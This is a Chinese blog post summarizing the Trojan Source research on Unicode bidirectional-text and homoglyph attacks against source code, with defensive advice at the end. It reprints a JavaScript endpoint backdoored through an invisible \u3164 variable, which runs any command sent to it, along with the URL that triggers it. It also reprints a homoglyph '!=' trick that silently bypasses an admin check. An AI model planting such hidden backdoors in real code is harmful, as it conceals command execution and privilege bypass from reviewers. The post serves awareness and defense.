近期国外发布了一篇关于unicode Bidirectional text(双向文本)的安全研究,终于抽时间看完了,发现还是很有趣的,抽时间总结一下。
0x00 双向文本
首先来简单介绍一下什么是双向文本(Bidirectional tex),双向文本就是一个字符串里面,包含了两种文字,既包含从左到右的文字,又包含从右向左的文字。
我们最熟悉的中文是从左向右的书写方式,还有少数文字是从右向左的书写方式。特别是网站国际化的场景下比较常见。
下面这个表格是论文中提到的unicode排序相关的字符
类型 | 缩写 | unicode编码 | 名称 | 描述 |
---|---|---|---|---|
显示方向嵌入 | LRE | U+202A | LEFT-TO-RIGHT EMBEDDING | 将以下文本作为嵌入式left-to-right |
显示方向嵌入 | RLE | U+202B | RIGHT-TO-LEFT EMBEDDING | 将以下文本作为嵌入式right-to-left |
显示方向重写 | LRO | U+202D | LEFT-TO-RIGHT OVERRIDE | 后面的字符被视为强left-to-right字符 |
显示方向重写 | RLO | U+202E | RIGHT-TO-LEFT OVERRIDE | 后面的字符被视为强right-to-left字符 |
显示方向隔断 | LRI | U+2066 | LEFT-TO-RIGHT ISOLATE | 将下面的文本视为孤立的left-to-right |
显示方向隔断 | RLI | U+2067 | RIGHT-TO-LEFT ISOLATE | 将下面的文本视为孤立的right-to-left |
显示方向隔断 | FSI | U+2068 | FIRST STRONG ISOLATE | 将下面的文本视为孤立的,它的方向是是第一个强字符的方向,并且不是内部的一个嵌套隔断。 |
终止显示方向嵌入和重写 | U+202C | POP DIRECTIONAL FORMATTING | 终止最近的LRE,RLE,LRO或RLO | |
终止显式方向隔断 | PDI | U+2069 | PDI POP DIRECTIONAL ISOLATE | 终止最近的LRI或RLI |
文本中是RLI a b c PDI
而显示实际是c b a
文本中是RLI LRI a b c PDI LRI d e f PDI PDI
而实际上显示的是d e f a b c
文本实际内容和我们看到的不一样,如果文本中的代码可以被正确执行,而我们看到的又是另外的代码,那么必然存在安全风险。
0x01 trojan source
bidi的安全风险
论文的作者针对C、C#、C++、Go、Java、Javascript、Python和Rust 这8种语言进行了测试,相关代码在github上,下载地址在文末。
我们以python代码举例:
代码实际内容为
但是通过编辑器打开,可能显示的如下内容
因为通过RLO、LRI和PDI改变了显示方向。
通过python3执行
代码显示的和我们最终的执行结果是不一致的。
github上面的显示是存在问题的,不过已经有了提示。点击链接可以看到具体的内容。
我们来看一看常见IDC和编辑器的显示是不是有问题呢
pychram
vscode
sublime
cat
101 Editor
vim
more
那么其他的常用编辑器,像系统自带的、notepad++之类的呢?
同形字符
这个场景相对来说很常见了,不过大多数都集中在web端,其实可以发散到很多场景下,例如绕过一些设备的检测,是有想象空间的。
我们来通过作者论文中的代码来举例。
直观的从输出上我们是看不出任何区别的。
通过十六进制显示
可以看到区别了,显示的都是H,但是实际是不同的字符。
十六进制表示为0xd09d的字符,是unicode编码为U+041D的字符。其实还有很多类似的字符,我们来贴张图展示一下,相关字符都可以在这个网站查询到。
最后文章作者针对不同的操作系统上面的不同编辑器进行了一个统计
0x02 基于语言特性的安全风险
基于javascript语言特性使用不可见字符导致的安全风险
在上篇论文发表不久,有人发表了一篇因为Javascipt语言特型导致的安全风险。
原理是找到一个不可见的(即无法显示的)Unicode字符,并且该字符可用于JavaScript的标识符/变量名称。实际上,从ECMAScript 2015版本开始,所有具有Unicode属性ID_Start的Unicode字符都可用于标识符(具有属性ID_Continue的字符可用于首写字符之后),然后找一个合理的场景触发即可。
作者是以\u3164这个字符,来展示相关的安全风险。
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
直观的看源代码,是发现不了任何问题的。
其实是存在不可见字符,然后导致了命令执行。
const { timeout,\u3164} = req.query;
通过请求下面的url,可以导致命令执行(%E3%85%A4是\u3164的url编码,具体的如何转换可以参考这篇文章)
http://host:8080/network_health?%E3%85%A4=<any command>
我们对代码进行微调,来更好的展示,检测本地网络,同时打印传递的变量(因为字符是不可见的,所以cat也看不到)
这是正常的功能
下面我们通过不可见字符触发命令执行
基于javascript语言特性使用同型字符导致的安全风险
const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
if(environmentǃ=ENV_PROD){
// bypass authZ checks in DEV
return true;
}
/* … */
return false;
}
直观的阅读代码,通过environment变量来判断是否为生产环境。
那么真的是这样吗?其实这里使用的“感叹号”,不是真的“感叹号”,是一个“ALVEOLAR CLICK”字符,所以这里的把ENV_PRO变量赋值给environmentǃ,是一个赋值语句,if的判断始终为true(其他语言这么写会提示语法错误)。
类似的字符还有很多,作者在文章结尾提供unicode官方发表的安全使用注意事项。
0x03 防御方案
- 文本统一编码。
- 对非常规的字符和不可见字符进行扫描和处理。
- 选一个靠谱的编辑器。
tips
ANSI转义序列,在terminal中也有很多有趣的点,有兴趣的可以去研究研究。
另外参考里面有一篇关于第三方源安全风险的讨论,我就不多写了。
最后
近些年供应链安全问题层出不穷,最新的研究成果对防御工作提出了更高的挑战,利用有限的资源,来防御无限的攻击,如何取的一个平衡,这是门艺术。
参考
文章官网
https://www.trojansource.codes/
论文
https://www.trojansource.codes/trojan-source.pdf
代码地址
https://github.com/nickboucher/trojan-source
github关于告警的提示
https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/
bidi算法
https://blog.csdn.net/minibeargui/article/details/24888797
http://www.unicode.org/reports/tr9/
utf8和unicode字符映射集
https://www.utf8-chartable.de/unicode-utf8-table.pl
javascript语言特性导致的安全风险
https://certitude.consulting/blog/en/invisible-backdoor/
ASCII、unicode和utf-8编码的介绍
https://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html
unicode官方提供的安全注意事项
https://unicode.org/reports/tr36/#visual_spoofing
常见的容易混淆的unicode
http://www.unicode.org/Public/security/latest/confusables.txt
供应链安全
https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/